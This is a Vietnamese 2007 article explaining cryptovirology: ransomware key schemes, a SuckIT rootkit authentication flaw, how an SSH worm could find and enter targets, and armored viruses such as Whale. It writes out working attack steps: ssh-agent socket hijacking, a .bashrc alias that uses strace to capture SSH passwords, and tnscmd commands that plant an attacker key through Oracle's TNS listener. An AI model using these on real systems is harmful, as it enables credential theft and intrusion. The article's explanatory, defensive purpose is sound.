Mã hoá phần mềm độc hại (phần 1)

Trong thời đại ngày nay, mã hoá có mặt ở khắp nơi, từ những thứ bình thường nhất như e-mail gửi/nhận cho đến những thứ tinh vi như khoá bí mật, mật mã quốc gia. Hầu hết người dùng đều ít nhiều sử dụng các cơ chế mã hoá khác nhau trong những ứng dụng quen thuộc mặc dù nhiều khi chính họ không nhận ra điều đó. Trong loạt hai bài này, chúng tôi sẽ gửi tới các bạn đánh giá về hai mặt của một vấn đề: mã hoá, nó vừa giúp chúng ta an toàn hơn, nhưng ngược lại nếu được dùng cho các mục đích độc hại thì mức độ tinh vi và nguy hiểm trở nên khôn lường.

Phần một sẽ giới thiệu một số khái niệm về “khoa học” mã hoá virus với một số ví dụ tiềm ẩn khả năng độc hại qua rootkit SuckIT và sâu SSH. Sau đó sẽ là một số virus “bọc giáp”, sử dụng kỹ thuật biến dạng tinh vi (cả nội dung lẫn hình thức) để lẩn tránh sự dò tìm của các phần mềm chống virus.

Phần hai sẽ xem xét một số virus mới nhất luôn cố gắng hoạt động ngầm và tránh né sự dò tìm, phân tích. Sau đó, chúng ta sẽ tiếp tục thảo luận về các virus bọc giáp tinh vi sử dụng kỹ thuật biến dạng cả nội dung và hình thức thông qua khái niệm về sâu Bradley, một virus mã hoá không thể phần tích. Skype sẽ được lấy làm ví dụ cho mã hoá ứng dụng với một giao thức gần gũi, thường được kẻ tấn công sử dụng.

Giới thiệu về mã hoá và virus

Lĩnh vực mã hoá thường được chia làm hai phần:

  • Mã hoá: chuyên được sử dụng để xây dựng các thuật toán nhằm đảm bảo tính cẩn mật, toàn vẹn, thẩm định… cho dữ liệu. Dựa trên một số kiểu bí mật, thông thường liên quan đến các khoá và một số hàm toán cụ thể (như hàm toán một-chiều).
     
  • Giải mã: là quá trình ngược lại của mã hoá, xây dựng các thuật toán để xâm nhập và vượt qua cơ chế thẩm định, phá vỡ tính toàn vẹn, sự cẩn mật… Thường dựa trên một số lý thuyết toán tổng hợp hoặc một số thủ thuật khéo léo (còn được gọi là giải mã hoạt động).

Khi nói tới mã hoá người ta hay nghĩ đến khía cạnh bảo vệ của nó. Còn giải mã thường liên quan đến tấn công, xâm phạm hay xâm nhập.

Ngược lại, khi nói về khoa học virus, ngay lập tức chúng ta nghĩ tới các cuộc tấn công nguy hại. Tuy nhiên, bộ môn này cũng được chia thành hai mảng, một mặt là tấn công và mặt kia bảo vệ:

·         Virus: là chương trình tự nhân bản để phát tán mã độc hại bằng cách chèn (có thể là chỉnh sửa) các bản sao chép của bản thân nó vào mã nguồn hoặc phần thân chương trình thực thi khác. Về mặt này, virus mang ý nghĩa tấn công vì các yếu tố gây hại được nhúng vào chúng. Và bởi vì việc sử dụng các kỹ thuật anti-anti-virus (tức chống lại chương trình diệt virus) được áp dụng cho chúng.

·         Anti-virus: là chương trình thực hiện chức năng nhận dạng, cản trở và loại trừ virus máy tính cũng như các phần mềm độc hại khác. Nó chủ yếu được xây dựng dựa trên việc khớp mẫu (các dấu hiệu) và nhận dạng hoạt động đáng ngờ (đánh giá).

Mã hoá, được các hãng sản xuất phần mềm diệt virus sử dụng để đảm bảo tính cẩn mật cho cơ sở dữ liệu dấu hiệu và cho các bản update tự động phần mềm. Nhưng nó cũng được những kẻ viết ra virus sử dụng để đảm bảo tính khó phá vỡ cho phần trọng tâm của virus, hoặc để tránh sự dò tìm và phân tích mã độc hại của các chương trình anti-virus (thay thế code, sử dụng kỹ thuật biến dạng nôi dung và hình thức trong nhiều virus bọc giáp).

Khoa học mã hoá virus

Viết một chương trình virus, đáng tiếc cũng giống như viết bất kỳ đoạn chương trình nào khác cho một phần mềm. Các tác giả cố gắng đưa ra nhiều ý tưởng sáng tạo, độc đáo, nguy hiểm vào ứng dụng để nâng cao chức năng (hoặc khả năng ẩn náu), sức mạnh, các chiến lược tự tái tạo phần trọng tâm. Tuy nhiên, khi một nhà phân tích nắm bắt được chương trình, anh ta cũng biết nó hoạt động như thế nào và để làm gì… Rốt cuộc thì cả người viết ra virus và người phân tích nó đều chia sẻ nhiều khía cạnh giống nhau về virus.

Ngay trên tựa đề bài viết, ngụ ý chính của bài đã được tác giả ngầm đưa ra nhằm phân tích thế đối xứng trong góc nhìn về virus này. Tức là, có lợi thì sẽ có hại, có bảo vệ thì sẽ có tấn công và có đối xứng thì sẽ có bất đối xứng. Đó là quy luật hai mặt của một vấn đề đã tồn tại từ bao đời nay. Do đó, định nghĩa đầu tiên về khoa học mã hoá virus là: một chương trình nhúng virus và sử dụng một khoá chung.

Mô hình cơ sở được xem xét ngày nay

Mô hình này có thể được xem xét tương ứng theo các mục đích:

  • Người viết virus tạo một khoá RSA:

o   Khoá chung xuất hiện trong thân chương trình virus.

o   Khoá riêng do tác giả giữ.

  • Virus phát tán và phần trọng tâm sử dụng khoá chung. Ví dụ, nó mã hoá dữ liệu (ổ cứng, file, e-mail…) cho các đích với khoá chung.
     
  • Người viết virus yêu cầu chủ nhân các máy bị cài xâm phạm phải bỏ tiền chuộc mới có được khoá riêng giải mã.

Một số ví dụ sống động gần đây về phương thức này: GpCode và Krotten. Nhưng may mắn là chúng cũng có một số nhược điểm. Đầu tiên là khía cạnh ẩn danh: làm sao kẻ viết ra virus nhận được tiền nếu người bị hại chẳng biết phải gửi cho ai? Luôn luôn có những kẻ tham lam muốn kiếm tiền dễ dàng nhờ uy hiếp người khác. Do đó, có kẻ dùng đi dùng lại một virus nhiều lần cho nhiều nạn nhân. Chuyện gì sẽ xảy ra khi có nạn nhân công bố khoá giải mã rộng rãi cho mọi người đều biết? Thêm vào đó, kẻ viết virus còn có hình thức yêu cầu nạn nhân gửi dữ liệu bị mã hoá tới cho chúng, sau đó chúng sẽ giải mã và gửi trả lại nạn nhân. Nhưng như thế cũng có nghĩa là kẻ tấn công hoàn toàn nắm trong tay dữ liệu đó… và thường thì nạn nhân không thích như vậy. Họ thà bị mất dữ liệu còn hơn.

Mô hình mã hoá virus kết hợp

Tiếp theo, người ta thường hay dùng mô hình kết hợp, sử dụng cả hai cơ chế mã hoá đối xứng và bất đối xứng.

  • Người viết virus tạo một khoá RSA:

o   Khoá chung xuất hiện trong thân chương trình virus.

o   Khoá riêng do tác giả giữ.

  • Virus phát tán:

o   Phần trọng tâm tạo một khoá bí mật.

o   Khoá bí mật được dùng để mã hoá dữ liệu trên đĩa.

o   Khoá bí mật được mã hoá với khoá chung.

  • Người viết virus yêu cầu một khoản tiền chuộc trước khi giải mã khoá bí mật.

Tìm kiếm đích, trì hoãn phân tích và lần trốn

Rất nhiều người sẽ đặt ra câu hỏi: “Có thể dùng kỹ thuật mã hoá cho hoạt động tạo virus như thế nào?” Để vấn đề được sáng rõ hơn, hãy quan tâm đến hai câu hỏi sau:

  • Có thể nâng cao yếu tố tài tính trong mã hoá như thế nào?
     
  • Có thể sử dụng mã hoá cho các mục đích độc hại như thế nào?

Để nắm rõ được mối đe doạ nổi bật này, đầu tiên chúng ta phải hiểu phương thức thường được sử dụng là gì. Có ba đặc trưng quan trọng mà những kẻ xây dựng phần mềm độc hại hay sử dụng. Đầu tiên là tìm kiếm đích, tức cơ chế được dùng để phát hiện các đích phù hợp để tấn công và điều khiển sự phát tán của virus. Mục đích thứ hai của những kẻ tạo ra virus là trì hoãn sự phân tích, tức các cách tìm kiếm để trì hoãn hoặc ngăn chặn ai đó hiểu được mã độc hại mà anh ta đang xây dựng. Và đặc trưng quan trọng cuối cùng là lẩn trốn, tức là phải luôn cố gắng làm sao vượt ra ngoài tầm dò tìm của các chương trình chống virus.

Vấn đề về độ chính xác

Như đã nói ở trên, mã hoá ngày nay được dùng ở khắp mọi nơi. Trên các mạng, một số giao thức tầng 2 được xây dựng dựa trên cơ chế mã hoá (WEP, WPA/TKIP…) giống như các giao thức tầng cao hơn khác (IPSec, SSH, SSL, Kerberos, PGP…). Chúng được dùng cho nhiều mục đích, từ thẩm định (với các mật khẩu sử dụng khoá tiền chia sẻ, trao đổi khoá, token) cho tới mã hoá (với AES, DES, 3DES, IDEA, RC4…)

Tuy nhiên, cho dù cơ chế mã hoá là gì đi chăng nữa thì có một điều chắc chắn là nếu mã hoá được dùng ở cuối của một kênh truyền thông, nó cũng được dùng ở cuối của các kênh khác. Hơn nữa, thường có một mật khẩu hoặc một quan hệ tin cậy giữa các đối tượng này. Và nên nhớ rằng, các giao thức mã hoá thường rất phức tạp và tổng hợp, đòi hỏi nhiều điều kiện khác khi triển khai chúng ra thực tế. Chúng ta sẽ khám phá tất cả các “thành phàn” này khi nghiên cứu về khoa học mã hoá virus, được xây dựng với mục đích gây hại.

Trong phần một, chúng ta sẽ phân tích xem một kẻ mã hoá virus sử dụng cơ chế mã hoá để tìm kiếm máy đích với độ chính xác cao như thế nào. Phương thức này được đánh giá là “cao tay” hơn hẳn một số kỹ thuật các loại sâu cũ đá từng sử dụng trong quá khứ (như tạo ra một số 32 bit giả làm địa chỉ IP).

Sơ lược về SuckIt

Chúng ta sẽ không đi sâu vào tất cả mọi thành phần của bộ công cụ SuckIt mà chỉ tập trung đến vấn đề mã hoá của nó. Có thể thấy cơ chế thẩm định của bộ công cụ này vốn đã có lỗ hổng. Bất kỳ ai khi tìm ra mã nhị phân SuckIt đểu có thể sử dụng nó để tham gia vào mạng các host bị xâm phạm bởi SuckIt do kẻ tấn công chiếm hữu và hiểu hắn ta đang làm gì.

Điều trên hoàn toàn có thể xảy ra bởi thẩm định SuckIt dựa trên sự so sánh hai bảng băm. Chúng ta không cần phải truy vấn hình ảnh mô phỏng mà chỉ cần có bảng băm là đủ. Do đó, chỉ cần thay đổi nhẹ nhàng trên client (máy khách) để nó gửi bảng băm trực tiếp tới server (máy chủ) mà không phải làm bất kỳ điều gì khác. Có thể lặp đi lặp lại điều này bao nhiêu lần tuỳ thích.

Vấn đề là làm sao phải tìm ra được máy tiếp theo để lặp lại? Nơi đầu tiên được xem xét là hướng xuất phát của kẻ tấn công. Đó thường là một host bị xâm phạm, trong đó hắn ta có thể đã cài đặt và sử dụng client với cùng một mật khẩu. Dù sao những kẻ tấn công cũng là con người giống như tất cả chúng ta. Chúng không thể nhớ được quá nhiều mật khẩu phức tạp. Do đó, máy trạm bị chúng sử dụng thường có cùng một mật khẩu giống như mật khẩu dùng trên một mạng SuckIt. Nơi thú vị thứ hai có thể tìm ra kẻ tấn công là một gói được thực thi bởi chính SuckIt. File .sniffer được ẩn bên trọng trạm bí mật của rootkit. Và nếu kẻ tấn công sử dụng một client SuckIt trên máy trạm bị tấn công, nó cũng bao gồm lưu lượng tới các đích khác, tất nhiên cả bảng băm.

Xây dựng các nguyên tắc cơ bản đằng sau một sâu SSH

SSH hiện nay là một giao thức nổi tiếng, được xây dựng dựa trên nhiều giao thức mã hoá và được hầu hết (nếu không muốn nói là tất cả) quản trị viên hệ thống trên Internet sử dụng. Giao thức này được xây dựng để cho phép người quản trị đăng nhập vào một máy từ xa và thực thi nhiều lệnh trên đó một cách an toàn. Có nhiều cơ chế thẩm định cho client: mật khẩu, thách thức/đáp ứng, kerberos, mã hoá công cộng và danh sách này vẫn đang tiếp tục được nối dài. Server được nhận dạng bởi một khoá bất đối xứng. SSH cũng cung cấp nhiều thành phần tuyệt vời như: TCP proxy, FTP an toàn, các tác nhân đến sau…

Thử tưởng tượng kẻ tấn công có thể sử dụng cái gì để tạo một sâu SSH dựa trên tất cả các thành phần đó. Tất nhiên, giống như tất cả các sâu khác, chúng sẽ nhắm đến lỗ hổng có thể khai thác trên một SSH server. Đó là cách điển hình, nhưng không phải là duy nhất để xâm nhập vào một server SSH từ xa. Sâu có thể sử dụng một lỗ hổng, tốt thôi, nhưng không phải là sự cần thiết bắt buộc.

Giả sử nạn nhân 0 là host bị xâm nhập với nhiều người dùng trong đó, và sâu của chúng ta có đặc quyền cao nhất trên host, tức là nó có thể thay đổi nhận dạng của bản thân để giả mạo tất cả vai trò người dùng cục bộ nếu cần. Sự thực là một sâu có thể khai thác nhiều lỗ hổng cục bộ khác để thu được đặc quyền tương tự trên các host mới và để nâng cao khả năng phát tán của nó. Tuy nhiên, trong ví dụ của chúng ta chỉ giới hạn sự phát tán chủ yếu trong các thành phần SSH và những lỗi do yếu tố con người.

Câu hỏi đầu tiên chúng ta cần trả lời là: khi một kẻ tấn công cố gắng xây dựng một sâu này thì hình thức sinh sôi của chúng trên mạng SSH từ một host đơn lẻ như thế nào? Câu trả lời gồm hai phần: thứ nhất, chúng ta cần tìm ra các máy đích thú vị; và thứ hai, chúng ta cần tìm ra cách thâm nhập vào các máy đích này như kẻ tấn công đã làm.

Một mạng SSH có thể được minh hoạ trực quan bằng một sơ đồ dựa trên mã hoá bất đối xứng và các quan hệ tin cậy. Những nút trên sơ đồ là các host SSH. Những cung ra sẽ dẫn tới một server SSH từ xa nơi người dùng sử dụng hoặc được kết nối tới, và do đó chỉ ra cho kẻ tấn công biết đích đến cho sâu. Các cung đến thể hiện nơi xuất phát kết nối của người dùng, trên server SSH hiện tại. Đó có thể là một đích, nhưng sâu không thể chắc chắn liệu server SSH có đang chạy hay không. Do đó trong trường hợp này, một lỗ hổng có thể khai thác trên máy trạm SSH sẽ rất hữu ích cho kẻ tấn công.

Phần triển khai OpenSSH thông minh cung cấp tất cả các loại thông tin hữu ích để phát hiện server từ xa (các cung ra). Nhớ rằng trong ví dụ này chúng ta có đặc quyền của bất kỳ người dùng cục bộ nào. Do đó, lấy đặc quyền của một người dùng chúng ta có thể:

  • Biết được tất cả các host mà người dùng này biết. Tất cả các host này đều có khoá chung được lưu trong thư mục ~/.ssh/known_hosts. Tuy nhiên, để giữ cho thông tin này khỏi bị rò rỉ, phiên bản mới nhất của OpenSSH sử dụng một bảng băm cho địa chỉ IP và tên thay vì dạng văn bản thuần tuý.
     
  • Xem xét được file cấu hình ~/.ssh/config (nếu nó tồn tại) của Host và có thể thâm nhập thư mục ControlPath.
     
  • Xem được các kết nối mạng hiện tại và tương  lai.
     
  • Khai thác được history (lịch trình các hoạt động đã được thực hiện): grep ssh ~/.bash_history.

>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337
>> export SSH_AGENT_PID=1007

Bây giờ, tìm kiếm các cung đến như đã định nghĩa ở trên. Đầu tiên có thể xem xét trong file chứa khoá được cấp phép bởi người dùng: ~/.ssh/authorized keys. Các kết nối mạng cũng cần được để ý đến. Với đặc quyền root (vai trò người dùng cao nhất), chúng ta cũng có thể tìm ra mạng và xem xét các file log của các kết nối đến.

Bây giờ, chúng ta đã biết làm cách nào tìm ra các máy đích thú vị một cách chính xác. Và một sâu như SSH cũng cần phát tán vào các đích này. Như đã nói ở trên, sâu có thể dùng một lỗ hổng SSH trên server hoặc client, nhưng ngoài ra còn có nhiều cách khác.

Cách dễ nhất là mượn tác nhân ssh-agent của một người dùng:

>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337
>> export SSH_AGENT_PID=1007

Gần đây mới xuất hiện một thành phần khác trong SSH rất thú vị mà đòi hỏi kẻ tấn công phải bỏ ra ít công sức là đã thu được kết quả. Đó là có thể kết hợp một vài phiên SSH đa thành phần vào một kết nối TCP đơn. Do đó, bạn có thể đăng nhập vào một host từ xa, tất cả các kết nối tiếp theo tới cùng một host sẽ được thực hiện dựa trên các kết nối đã có trước đó. Thành phần này có thể được cấu hình bởi tất cả mọi đối tượng người dùng:

~/.ssh/config
Host   GetinMeForFree
    ControlMaster auto
    ControlPath ~/.ssh/currents/%r@%h:%p

Do đó, nếu một kết nối tới host GetinMeForFree đã tồn tại, sâu sẽ chẳng cần phải làm gì thêm để kết nối đến hệ thống này.

Sâu cũng có thể lợi dụng sự tin tưởng của người dùng vào mã hoá để ăn trộm mật khẩu hay cụm mật khẩu “không thể phá vỡ” của họ. Chỉ cần sử dụng một phần mềm keylogger như strace là đủ. Ví dụ, thay thế lệnh ssh bằng một bí danh trong ~/.bashrc:

 #  new ssh command put in ~/.bashrc
alias    ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log   -e
read,write,connect  -s2048 ssh' 

Sâu sẽ phải chờ các khoá, như:

connect(3,    sa_family=AF_INET, sin_port=htons(22),  
     sin_addr=inet_addr("192.168.0.103"),  16)
write(5,  "Password:",  9)  =9
read(5, "b", 1)  =1
read(5, "e", 1)  =1
read(5, "e", 1) =1
read(5, "r", 1)  =1
read(5,  "\n",  1)  =1

Cũng tương tự như vậy khi bạn lấy được một cụm mật khẩu đặt trong một khoá riêng, thông thường tìm thấy ở ~/.ssh/id_[dsa|rsa].

Một thủ thuật khác cũng từng được dùng trong các malware trước đây: nhúng một ứng dụng mật khẩu brute force (“bắt ép thô bạo”). Và hiện tại, kỹ thuật này vẫn đang được dùng rất phổ biến trong các cuộc tấn công nhắm vào SSH. Nếu đang xem các file log, chắc chắn bạn sẽ thấy những thứ sau:

Feb 9 23:25:14 localhost sshd[14236]: Failed password for root from 
80.95.161.86 port 58645 ssh2
Feb 9 23:25:17 localhost sshd[14238]: Failed password for invalid user 
admin from 80.95.161.86 port 58806 ssh2
Feb 9 23:25:23 localhost sshd[14313]: Failed password for invalid user 
guest from 80.95.161.86 port 59243 ssh2
Feb 9 23:25:26 localhost sshd[14351]: Failed password for invalid user 
webmaster from 80.95.161.86 port 59445 ssh2
Feb 9 23:25:29 localhost sshd[14364]: Failed password for invalid user 
oracle from 80.95.161.86 port 59445 ssh2

Sâu có thể khai thác điểm yếu trong những ứng dụng khác, nhất là nếu nó chêm hoặc ghi đè thành công một file vào máy đích từ xa. Nếu sâu gửi khoá chung của nó lên file ~/.ssh/authorized keys của máy đích, và giả sử kiểu thẩm định này đã được cấp phép, nó chỉ cần kết nối tới host từ xa.

Các ứng dụng Web là đích ngắm đầu tiên cho phương thức này, vì hầu hết chúng đều cho phép ghi lên đích từ xa. Tuy nhiên, trong ví dụ này chúng ta sẽ xem xét một lỗ hổng cũ và khá nổi tiếng trong Oracle, dường như là thứ chính xác cần thiết cho sâu của chúng ta.

Trong các phiên bản Oracle trước đây có một thành phần gọi là TNS Listener (bộ nghe TNS), chấp nhận các lệnh và kết nối trực tiếp không cần qua bất kỳ hình thức thẩm định nào. Vì thế, ý tưởng ở đây là kết nối tới bộ nghe đó, thay đổi file log thành ~/.ssh/authorized keys, gửi một lệnh nguy hiểm (chẳng hạn như khoá của sâu) mà sẽ được đưa vào file log mới… Và trò chơi kết thúc.

>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=
      (PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
      (VERSION=1)(VALUE=/home/ora92/.ssh/authorized_keys)))"
>>tnscmd   -h 192.168.0.103 -p  1521 --rawcmd  "(CONNECT_DATA=
      ((ssh-dss AAAAB3NzaC1kc3D...Ckuu4=raynal@poisonivy.gotham"

Phải cảm ơn mã hoá và cơ chế hai chiều của nó. Chúng có thể giúp kẻ tấn công dễ dàng nhắm được đích cần tới với độ chính xác cao. Ngoài ra còn phải cảm ơn bản thân người dùng. Nhờ sự bất cẩn của họ mà không quá khó để tấn công vào các đích này. Và kết hợp với các lỗ hổng cục bộ, khả năng phát tán của một sâu SSH là hoàn toàn có thể. Sẽ cần phải khuyến khích nhiều người dùng nhận thức phương pháp này để họ có thể bảo vệ được chính mình.

Khả năng tác động của sâu hiện tại bị giới hạn, do không thực sự có nhiều server SSH trong mạng nên không có nhiều máy đích tiềm năng. Nhưng thử tưởng tưởng chuyện gì sẽ xảy ra nếu có một hệ thống với những thành phần tương tự và nhiều, rất nhiều người dùng…

Vấn đề thời gian: sự xuất hiện của virus bọc giáp

Trước khi kết thúc phần một của loạt bài này chúng tôi sẽ giới thiệu với các bạn một số virus bọc giáp tinh vi và sau đó là nhắc lại một số khái niệm quan trọng để chuẩn bị cho  phần hai tới.

Khi nhắc đến tấn công và bảo vệ, thời gian là yếu tố rất quan trọng. Thông thường việc mã hoá code hay dữ liệu được dùng để bảo vệ bản quyền của phần mềm. Code và dữ liệu được mã hoá nhằm ngăn chặn không cho bất kỳ ai đọc nó. Và chỉ những ai được phép mới được cung cấp khoá giải mã để đọc chúng dưới dạng văn bản thuần tuý. Một số tầng mã hoá có thể đưa vào các ngăn xếp, và code hay dữ liệu có thể được giải mã một phần tại một thời gian nhất định trong bộ nhớ. Những kỹ thuật này được dùng hoặc là để đánh dấu phần mềm hoặc là để bảo vệ bản quyền.

Đáng tiếc là những kỹ thuật tương tự cũng được dùng trong malware, và hầu hết đều cùng những mục đích như vậy. Hãy cùng tóm tắt “cuộc đời” của một malware khi nó bắt đầu phát tán.

Một ngày, khi malware bị phát hiện, nó trở thành chủ đề nóng hổi, một mã chương trình độc hại mới cho các nhà phân tích. Khi quá trình phân tích hoàn tất, các dấu hiệu và đánh giá được tạo để cho phép phần mềm anti-virus loại bỏ malware này. Sau đó, dấu hiệu và đánh giá được cung cấp cho người dùng cuối qua các bản auto-update của phần mềm. Những bản sao mới của malware ngay lập tức bị phát hiện và bị tiêu diệt đi khi chúng tiếp cận với máy đích. Do đó, kết luận cuối cùng là: khi malware phát tán, nó sẽ bị tiêu diệt.

Để tránh “vấn đề” này, người viết ra malware phải trì hoẵn, hoặc thậm chí là cấm sự phân tích lên sản phẩm độc hại của anh ta. Một virus sử dụng nhiều kỹ thuật để né tránh hoặc trì hoãn được sự phân tích sẽ trở thành virus bọc giáp.

Virus bọc giáp đầu tiên được xây dựng theo mục đích này có tên gọi Whale và xuất hiện đầu tiên vảo khoảng tháng 9 năm 1990. Nó sử dụng một số kỹ thuật:

  • Biến dạng (Polymorphism): cả mã nhị phân và chương trình đều được mã hoá (có khoảng 30 bản mã hoá cứng).
     
  • Lẩn trốn (Stealth): có một vài bản ngắt, gồm cả các bản gỡ lỗi, được kết nối bởi Whale, và nó ẩn trong bộ nhớ cao trước khi giảm mức giới hạn lớn nhất của bộ nhớ do DOS xác định, ẩn lâu dài theo một khoảng thời gian nhất định.
     
  • Bọc giáp (Armoring): code thay đổi tuỳ thuộc vào kiểu kiến trúc (8088 hay 8086), sử dụng cực kỳ nhiều kỹ thuật khó hiểu (ngoại trừ code, các điều kiện nhận dạng, mã dư…) và có thêm một thứ gọi là anti-debug (chống gỡ lỗi, được dùng khi trình gỡ lỗi bị phát hiện, bàn phím sẽ bị khoá và Whale sẽ tự huỷ).

Nếu các kỹ thuật này hiện nay trở nên phổ biến thì khoảng 16 năm sau, bạn có thể tưởng tượng sẽ có một phần mã độc hại thâm nhập vào cả phòng thí nghiệm của các công ty sản xuất phần mềm diệt virus.

Trong phần hai của bài chúng ta sẽ tìm hiểu sâu hơn về các virus bọc giáp với kỹ thuật biến dạng (cả nội dung và hình thức). Chúng ta sẽ đi sâu tìm hiểu chi tiết của sâu Bradley, một kiểu virus không thể phân tích. Ngoài ra, chúng ta cũng sẽ xem xét ứng dụng Skype phổ biến và tìm hiểu kẻ tấn công đã dùng một giao thức gần gũi, cơ chế mã hoá dựng sẵn như một vector dẫn đường cho các cuộc tấn công như thế nào,

Kết luận phần một

Trong phần này, những khái niệm của “bộ môn khoa học mã hoá virus” đã được định nghĩa để chúng ta có thể hiểu phương thức những kẻ viết virus mã hoá thường hay dùng. Chúng ta đã thảo luận hai ví dụ, một là các điểm yếu trong rootkit SuckIt và hai là khả năng tiềm ẩn của một sâu SSH tương lai.

Trong phần hai sắp tới, chúng ta sẽ xem xét một số virus mới nhất với kỹ thuật lén lút, lần tránh sự dò tìm và phân tích. Chúng ta cũng sẽ tiếp tục bàn về các virus bọc giáp với khái niệm của sâu Bradley, một virus không thể phân tích, sử dụng kỹ thuật mã hoá virus. Skype sẽ được dùng làm ví dụ cho các ứng dụng nhúng mã hoá virus và một giao thức gần gũi có thể được kẻ tấn công lợi dụng và thao tác trên đó.

Thứ Hai, 28/05/2007 09:20
51 👨 1.242